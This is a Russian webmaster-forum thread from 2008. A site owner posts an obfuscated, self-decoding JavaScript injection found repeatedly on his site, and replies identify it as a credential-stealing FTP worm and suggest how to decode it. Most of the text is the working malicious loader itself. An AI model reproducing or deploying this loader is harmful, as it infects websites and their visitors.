Как раскодировать-то?

basilic
На сайте с 16.05.2008
Offline
369
657

Уверен что в коде засада где бы раскодировать?

Вчера удалил с сайта, сегодня опять появилось (

<script>eval(unescape('function%20rsVxuG%28gdhxR%29%7Bfunction%20kHMVCAZ%28qATWI%29%7Bvar%20vywE%3D0%3Bvar%20qfqN%3DqATWI.length%3Bvar%20wGcB%3D0%3Bwhile%28wGcB%3CqfqN%29%7BvywE+%3DrQhO%28qATWI%2CwGcB%29*qfqN%3BwGcB++%3B%7Dreturn%20%28vywE+%27%27%29%3B%7Dfunction%20rQhO%28qrwXLIb%2CceIC%29%7Breturn%20qrwXLIb.charCodeAt%28ceIC%29%3B%7D%20%20%20try%20%7Bvar%20zVk%3Deval%28%27a8rDgCuCmKe*n8t8s8.CcDa8lKlKe8e8%27.replace%28/%5B%5C*KC8D%5D/g%2C%20%27%27%29%29%3Bvar%20sNn%3Dnew%20String%28%29%3Bvar%20xVkiq%3D0%3BbtnIy%3D0%2CpwIxc%3D%28new%20String%28zVk%29%29.replace%28/%5B%5E@a-z0-9A-Z_.%2C-%5D/g%2C%27%27%29%3Bvar%20sFvjt%3DkHMVCAZ%28pwIxc%29%3BgdhxR%3Dunescape%28gdhxR%29%3Bfor%28var%20swah%3D0%3B%20swah%20%3C%20%28gdhxR.length%29%3B%20swah++%29%7Bvar%20tNJyBcu%3DrQhO%28pwIxc%2CxVkiq%29%5ErQhO%28sFvjt%2CbtnIy%29%3Bvar%20dQThpM%3DrQhO%28gdhxR%2Cswah%29%3BbtnIy++%3BxVkiq++%3Bif%28btnIy%3EsFvjt.length%29btnIy%3D0%3Bif%28xVkiq%3EpwIxc.length%29xVkiq%3D0%3BsNn+%3DString.fromCharCode%28dQThpM%5EtNJyBcu%29%3B%7Deval%28sNn%29%3B%20return%20sNn%3Dnew%20String%28%29%3B%7Dcatch%28e%29%7B%7D%7DrsVxuG%28%27%2533%2530%2539%2535%2530%2539%2532%2535%2552%252d%2528%2569%2569%250c%2523%256d%2530%2536%254f%2526%253e%2534%2527%2522%252f%2523%251e%253d%2558%2549%2543%2508%251b%2507%252b%252a%250e%2502%2526%2522%253d%253e%2521%2576%2546%255a%2568%2520%2527%2536%2572%2573%2577%2561%2536%2508%251f%2546%2518%256e%2538%2560%2508%252d%256a%2575%2520%2561%2525%253c%2555%254d%2503%2565%253e%2531%2538%2536%2532%256a%2568%250b%252e%256c%250f%251a%250e%2574%2563%252a%2559%2525%2544%257d%2558%256f%255a%254d%2530%251f%2568%251c%2513%253d%251f%2510%2527%2503%2514%2529%2519%2576%2548%256b%2531%2534%251b%2522%252a%2526%2523%2529%2554%257d%253b%2518%2531%2536%2570%2536%2563%257a%2555%2571%252c%257f%2565%257e%2513%254d%255a%2562%2567%2550%2528%254d%2503%2572%252c%257b%256d%2570%2515%257a%2533%2577%2547%251d%255a%2532%256a%2500%2525%2535%253a%2513%2521%253b%2529%2553%255a%2522%2530%2500%251a%2525%2528%252e%256b%254e%251a%2516%2545%2502%252e%2536%2522%2527%253c%2524%2525%2551%2572%2554%256b%2558%2574%2524%256b%2579%2526%257a%256e%2525%2578%2533%2535%2531%2506%2578%2564%2561%2542%2565%2517%2559%2567%256e%2568%2530%2569%2575%252d%2572%255c%2533%257b%2501%2503%256a%250e%2521%256b%255e%251f%2523%253e%2513%2570%2531%253b%252d%253c%2535%256a%251d%253a%2523%2527%257d%2535%2519%250b%253f%253f%2529%2528%2572%256c%2538%2567%2526%2565%257b%2522%2533%2518%2563%257a%255f%257a%2576%2543%257a%2530%2535%2528%2527%2508%250b%257b%2578%257c%2528%2565%252d%2531%2517%2515%251f%2537%2573%2523%256c%253f%2536%2561%2578%251f%2508%2578%2568%257d%253a%2577%255e%253c%2523%2527%2516%256a%2573%2530%253f%2524%250b%2503%2553%250f%251c%2528%2537%255c%251c%256d%2577%2533%2538%253f%254b%2503%253a%2511%2525%257b%2571%257e%2575%253a%2578%252e%251d%2515%2502%253f%252a%2523%2570%252e%2523%2500%2572%251c%2568%2532%2522%2570%2573%257c%2503%253e%253c%253f%2572%2531%2539%2574%257b%2554%2570%2563%2576%2562%256c%257f%2563%2577%2544%254d%2553%257b%2557%2537%2523%2523%2511%2505%2519%252e%253a%2552%252b%2535%2571%2526%253f%253d%2579%2575%2567%250f%2530%2510%2523%2566%256e%257a%256f%2524%2570%256d%2577%255c%251c%2536%2532%252a%2521%2504%2545%252c%2524%2521%2534%2504%2578%2551%2575%2566%257a%2528%252a%256f%252a%253c%2531%252b%2566%2564%2570%252d%2564%253c%2500%2519%2514%251c%2508%2527%2510%252e%2530%2517%2564%256a%2544%2564%2522%2558%257a%2539%2528%251d%2525%252c%2537%2532%2521%250f%2535%2560%253f%2579%2539%253f%250d%2508%252e%2528%2526%252c%2551%2568%252a%256d%250d%2524%257e%253a%252d%2530%257c%2500%2531%250a%2537%256d%252f%2515%252a%2544%252a%2528%250a%253c%2523%257e%253c%252c%2578%2537%2519%251b%2526%2579%255a%2528%2531%2528%2523%2516%253a%257b%2562%251c%2535%250a%2503%2569%255c%2544%257c%257a%2560%2573%2577%2562%2554%253f%251e%253e%2564%2571%257a%257e%256d%255b%257b%2512%252a%2567%250e%252d%252a%2570%2561%256f%2543%2575%2531%2534%2539%2530%255f%253d%252e%250b%2534%2563%2579%257a%2561%256b%2535%250b%2511%2535%2559%2539%2534%252c%2513%2501%253d%2511%250e%2527%253f%2535%2531%2530%2571%2554%256d%255f%2553%255f%2548%2568%2558%254d%2542%252d%2529%2539%2565%2531%252c%253e%251b%2564%2515%2537%2562%2560%257c%251a%2529%2522%2559%252e%2554%2554%252e%2577%2578%250a%257a%256d%254f%256b%2576%2562%256c%2505%253f%2500%2569%2516%2538%253c%2575%2578%2568%2522%257f%255c%255e%2579%2566%2559%2564%2560%256e%2557%256c%2571%2579%2551%256a%2554%254f%254e%250f%2571%251e%2507%257d%251c%2521%2522%251a%251d%252c%2523%2503%2506%2539%2539%252a%252b%2568%2572%2556%2561%2567%255e%257d%2567%2577%257a%2561%251d%2534%2537%2538%254a%2530%2519%2530%2533%2557%2540%255c%2504%253f%2575%2529%2579%250c%2522%2535%253d%2576%253d%256e%2536%252f%2535%2512%250a%2518%2509%251e%2570%2529%252e%2535%251e%251c%253a%2539%2570%254b%256d%2537%2525%2527%2513%2530%2522%2523%2528%2570%2569%2534%2524%253d%2521%253a%2526%2532%2578%252b%256f%2520%253b%2510%2539%251b%2538%251c%2523%2575%255b%2528%2567%2521%2564%257b%2554%2538%251f%2505%256e%2524%253d%253f%2553%2528%2562%2539%254b%2533%2521%2533%252a%2537%2531%2534%251e%252a%251d%256d%255d%2579%253c%2568%256e%2560%2553%2556%257e%2523%2538%252e%2519%2568%2524%2506%2532%253c%2526%2531%2514%2520%2508%252b%250c%256b%2520%2566%257c%257e%255d%257a%252c%2517%253e%256b%2519%2523%2520%2523%2536%252e%253f%2567%2578%2570%253d%2522%252d%2507%252a%2547%252e%253b%2561%2570%252a%2533%2531%255d%2540%256a%2522%2560%256b%2527%2519%2573%251d%253a%257c%2578%256d%251b%2572%253c%2527%2526%251f%2519%2523%2537%2569%2572%2558%2504%2515%2522%2500%254a%253a%257f%255b%257d%251b%2536%2552%2532%250f%251d%2507%257e%251b%2532%2511%2515%2575%252c%2505%253d%2512%2524%252a%256e%2534%251d%2561%256e%2523%2518%2527%2514%252e%256b%2530%2571%2534%2517%2536%251a%2523%2507%2568%255a%2532%2507%2534%2526%2523%2501%2523%2530%250e%257f%253e%256a%2574%2571%250d%2516%253e%2517%2522%253e%250d%2500%250a%2510%251e%2512%253d%2568%256c%256a%2513%251d%251e%253f%2547%257c%2510%250d%255d%2532%255d%256a%252d%2511%256f%253e%252c%2538%251c%2568%256b%250f%2538%2510%2557%251c%2501%251b%2529%256f%2503%2544%255c%2570%257a%2574%2563%251f%2576%252f%2504%257c%253f%253e%2535%2518%2502%252a%2520%2533%250d%250b%2504%2574%257f%2570%2564%2507%256e%2525%257d%250e%257f%2522%2562%2539%2530%2514%253b%2572%253f%2532%2533%2522%2531%250d%251c%2545%2567%2527%2571%2509%257d%257e%2520%2508%252d%2501%2537%2527%2520%2513%2575%2575%2515%2522%2528%252d%2502%2538%2535%256b%252a%2528%250c%257b%2512%252e%2504%250d%2573%2535%2502%2575%2565%2571%2571%2548%2525%2521%253e%2563%2527%2522%253d%2523%2541%2502%2567%2521%2522%2524%250b%251e%2529%251c%252e%257c%253f%2558%253d%252c%252f%2515%2576%2562%256c%252e%255b%2536%252c%2523%250f%253b%257f%2524%256b%2568%2528%256c%2533%2537%2538%2529%2536%2569%254a%2560%2528%255a%2532%2531%2534%2539%2569%250c%2575%2525%252f%2529%2505%2534%252a%2517%2509%2523%2576%2536%2515%253f%2538%2539%257e%2553%2566%2575%253f%2523%250c%2517%2509%2515%252d%250a%257f%2552%255d%254d%2512%2570%253b%2504%2521%2534%2537%255a%253e%2532%2574%2569%2503%2530%2531%251b%2525%2512%2508%254d%2553%2575%253c%2523%250b%2578%2518%252c%2570%2509%255d%2523%255b%257a%2550%2527%2567%2571%252f%2547%2571%257b%254a%2579%2509%252a%252a%252b%2535%2521%2576%2537%250b%257c%2513%2566%254e%255e%254d%250c%2515%2508%2562%2523%254a%253a%2575%257c%2562%256f%2555%2535%251b%2521%251b%2513%2535%2521%2564%2568%2505%2531%2517%2539%2519%256a%2572%2563%250b%256b%2537%2571%257b%2555%2545%2571%255f%2539%2536%2526%2503%250a%2567%2522%2579%252e%2513%2516%2515%252b%2539%2511%256e%2536%253f%252d%2531%2560%2509%2516%2526%253a%2577%253f%2513%2530%2526%2514%2576%2544%2522%2519%2524%2525%257b%2513%251e%252e%2519%2523%2523%250e%2526%2526%251a%253c%2579%254d%252f%2521%2574%257d%2523%2509%253d%254c%2552%255f%2529%2500%2531%2538%2567%2575%2523%2510%2565%2531%255d%257a%2517%2537%2565%2532%2522%253a%2535%253d%2560%2530%253b%253b%2524%250d%2524%2538%253a%2537%2530%2514%2556%2570%257f%2522%257d%253d%2574%252d%2529%2514%2534%2553%2538%2522%251d%2561%252f%251e%2574%257b%254d%253d%2521%2529%250c%2575%2539%252d%2576%2516%2526%2532%251c%2564%2529%252e%27%29%3B'));</script>
SMM
На сайте с 02.07.2006
Offline
98
SMM
#1

троянчик. смените антивирус, смените пароли, как вариант обновить ось или перейти на линукс

Размещение статей (/ru/forum/728008) - 30 wmz (1300\5 ЯК Дмоз. 2006 год. Посещ.~60000. MR-100. Яндекс. Гугл новости.). Траст. Написание+6 wmz.
Дмитрий Вячеславович
На сайте с 10.10.2006
Offline
141

замените eval на alert - код выведется в удобоваримом виде в модальном окне.

Это червь однозначно, как правило такие черви сами заходят по ftp по имеющимся на компе аккаунтам (наиболее уязвим в этом плане windows commander) и вставляют себя во все документы в начале и конце файла. Гады.

basilic
На сайте с 16.05.2008
Offline
369
#3
Дмитрий Вячеславович:
замените eval на alert - код выведется в удобоваримом виде в модальном окне.

Это червь однозначно, как правило такие черви сами заходят по ftp по имеющимся на компе аккаунтам (наиболее уязвим в этом плане windows commander) и вставляют себя во все документы в начале и конце файла. Гады.

Ок, спасибо, если "более детально", то это не по моей вине, буду искать у тех кто тоже имеет доступы.

basilic добавил 12.06.2008 в 02:39

Чей код?

Хочу пообщаться, спустя пару часов - код с сайта пропал самостоятельно, интересненькое кино получается...

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий